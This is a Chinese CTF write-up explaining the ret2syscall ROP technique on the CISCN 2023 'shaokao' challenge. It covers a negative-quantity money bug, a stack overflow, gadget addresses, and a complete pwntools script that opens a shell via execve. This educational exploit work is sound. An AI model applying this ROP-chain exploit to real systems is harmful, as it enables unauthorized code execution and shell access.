Pwn-ret2syscall

Pwn-ret2syscall

pwn-第6部分ret2syscall学习

Pwn-syscall

原理

ret2syscall(Return-to-System-Call)

ret2syscall 是一种在静态链接(程序没有导入 libc 库)且开启了 NX 保护(栈上不可执行代码)的二进制程序中常用的 ROP 利用技术。

既然程序本身没有现成的 system("/bin/sh") 函数让我们调用,我们就利用程序内部已有的零碎代码片段(Gadgets),像拼乐高一样,把 CPU 寄存器布置成执行 execve("/bin/sh", NULL, NULL) 系统调用所需要的状态,最后触发操作系统的内核中断来实现 Getshell。

32位 vs 64位 系统调用约定

不管是通过栈还是寄存器传递参数,ret2syscall 的核心都是精准控制寄存器。在不同架构下,调用的约定有明确的区别:

架构系统调用号存放Arg 1 (字符串指针)Arg 2Arg 3触发指令execve 系统调用号
32位 (x86)eaxebxecxedxint 0x8011 (0xb)
64位 (x64)raxrdirsirdxsyscall59 (0x3b)

以 64 位为例,我们需要构建的终极状态是:rax=59rdi="/bin/sh"的地址rsi=0rdx=0,最后再执行一条 syscall 指令。

完整的攻击构建链

在实战中,构建一次完美的 ret2syscall 通常需要经过以下步骤:

**1.寻找可用 Gadgets:**使用 ROPgadget 等工具。

通过命令 ROPgadget --binary ./pwn --only "pop|ret" 寻找需要的指令片段。在 64 位下重点寻找 pop rax ; retpop rdi ; retpop rsi ; retpop rdx ; ret。同时,利用工具找到 syscall(或 int 0x80)指令的确切内存地址。

**2.处理 /bin/sh 字符串:**寻找或动态写入。

先用 ROPgadget --binary ./pwn --string "/bin/sh" 检查程序里是否自带了该字符串。

如果没有,就需要再找一个类似 mov qword ptr [rax], rdx ; ret 的写入 Gadget,把 /bin/sh 的十六进制数据写入到一个固定的、可读可写的内存段(如 .bss 段)。

**3.组装 Payload:**控制执行流。

利用 Pwntools 拼装最终的输入流:

Padding(填充满缓冲区直到覆盖返回地址) + pop rdi 的地址 + /bin/sh 的地址 + pop rax 的地址 + 59 + pop rsi 的地址 + 0 + pop rdx 的地址 + 0 + syscall 的地址

CISCN 2023 初赛烧烤摊儿

题目地址

[[CISCN 2023 初赛]烧烤摊儿]([CISCN 2023 初赛]烧烤摊儿 - NSSCTF)

0x01 基本信息

项目内容
文件shaokao
架构amd64-64-little
保护NX enabled, No PIE, Stack Canary (gaiming 函数无 canary)
类型静态链接, not stripped
初始金币233
VIP 价格100000

image-20260521174344263


0x02 漏洞分析

菜单分析

我们先看看程序是什么样子的 image-20260521174455811

image-20260521174556407

通过IDA的反汇编就可以知道这些函数对应的就是菜单信息,其中第五个菜单需要触发特定条件才能解锁。

同时通过对gaming()函数的解析

image-20260521175017623

栈溢出

这里出现了一个栈溢出。

c
char v5[32]; // [rsp+0h] [rbp-20h] BYREF         
_isoc99_scanf((unsigned int)&unk_4B71EB, (unsigned int)v5, v0, v1, v2, v3);//scanf("%s",&v5)
j_strcpy_ifunc(&name, v5);//strcpy(name,v5)
c
_isoc99_scanf((unsigned int)&unk_4B71EB, (unsigned int)v5, v0, v1, v2, v3);
一个好奇的小盆友

这条语句是什么意思?

HACKED

转化过来的话是scanf("%s", v5),我们追踪看看unk_4B71EB

04B71EB和04B71EC分别是16进制的%和s

一个好奇的小盆友

那后面一堆 v0, v1, v2, v3 是什么?

HACKED

是 IDA 反编译的假象。因为是可变参数函数(...),IDA会把调用时恰好留在寄存器里的值也当成参数列出来。在 x86-64 调用约定里:

bash
rdi = 格式串  "%s"      ← 第1个参数
  rsi = v5                  ← 第2个参数,存目标地址
  rdx = v0  ← ┐
  rcx = v1  ← ├ 这些是调用前寄存器残留值
  r8  = v2  ← │ IDA 误当成额外参数
  r9  = v3  ← ┘


但 scanf("%s") 只认一个格式说明符 %s,所以只会读一个字符串到 v5,后面那几个根本不会被 scanf 用到。

虽然这个文件有canary保护,但是此函数并没有

ヾ(•ω•`)o

那我们就开始分析条件吧


刷钱漏洞

烤串和啤酒都支持输入数量(整数),价格公式为 金额 -= 数量 × 单价。若数量为负数,金额增加:输入数量 -20000 → 金额 += 20000 × 5 = +100000

image-20260521181305472


0x03 攻击思路

  1. 利用负数数量刷钱 → 买 VIP → 进入改名
  2. 在改名处构造 ROP chain,做 execve("/bin/sh", NULL, NULL)
  3. 全局 name 缓冲区地址 0x4e60f0 存放 /bin/sh

0x04 ROP Gadgets

使用ROPgadget找出地址

bash
ROPgadget --binary shaokao --only "pop|ret" | grep -E "pop (rax|rdi|rdx|rsi)"

image-20260521182451249

bash
ROPgadget --binary shaokao --only "syscall" 

image-20260521182739372

那我们就差bin/sh需要构造了,用ROPgadget和IDA的:key{code="F12" shift}是找不到的

用途Gadget地址
设调用号pop rax; ret0x458827
arg1pop rdi; ret0x40264f
arg2pop rsi; ret0x40a67e
arg3pop rdx; pop rbx; ret0x4a404b
触发syscall0x402404
"/bin/sh"name 全局变量0x4e60f0

ROP 链结构:

lua
pop rax → 59 (SYS_execve)
pop rdi → 0x4e60f0 ("/bin/sh")
pop rsi → 0 (argv = NULL)
pop rdx; pop rbx → 0, 0 (envp = NULL, rbx = dummy)
syscall

0x05 最终 Exploit

版本一

版本二

python
from pwn import *

context(os='linux',arch = 'amd64',log_level = 'debug')


#r = process('./shaokao')
r = remote('node4.anna.nssctf.cn',22582)

r.sendlineafter(b'>',b'1')
r.sendline(b'2')
r.sendline(b'-10000')
r.sendline(b'4')
r.sendline(b'5') 


bin_sh = 0x04E60F0
offset = b'/bin/sh\x00'
offset = offset.ljust(40,b'\x00')
syscall = 0x0402404
pop_rax = 0x0458827
pop_rdi = 0x040264f
pop_rsi = 0x040a67e
pop_rdx_rbx = 0x04a404b

payload = offset+p64(pop_rax)+p64(59)+p64(pop_rdi)+p64(bin_sh)+p64(pop_rsi)+p64(0)+p64(pop_rdx_rbx)+p64(0)+p64(0)+p64(syscall)
r.sendline(payload)

r.interactive()

0x06 关键点总结

  1. 负数交易刷钱金额 -= 数量 × 单价,填负数即可增加余额
  2. scanf("%s") 不认 \x00 为分隔符:payload 中的 null 字节(地址)可以正常写入栈
  3. /bin/sh\x00 放 payload 开头strcpy 遇到 \x00 截断,name 全局缓冲区内刚好是 "/bin/sh"
  4. 64位 syscall 传参rax=调用号rdi/rsi/rdx = 三个参数 → syscall 触发
  5. 针对静态链接无 libc 的题:直接拼 syscall ROP 链,不依赖程序中是否有 system 函数
新故事即将发生
Pwn-Canary保护

评论区

评论加载中...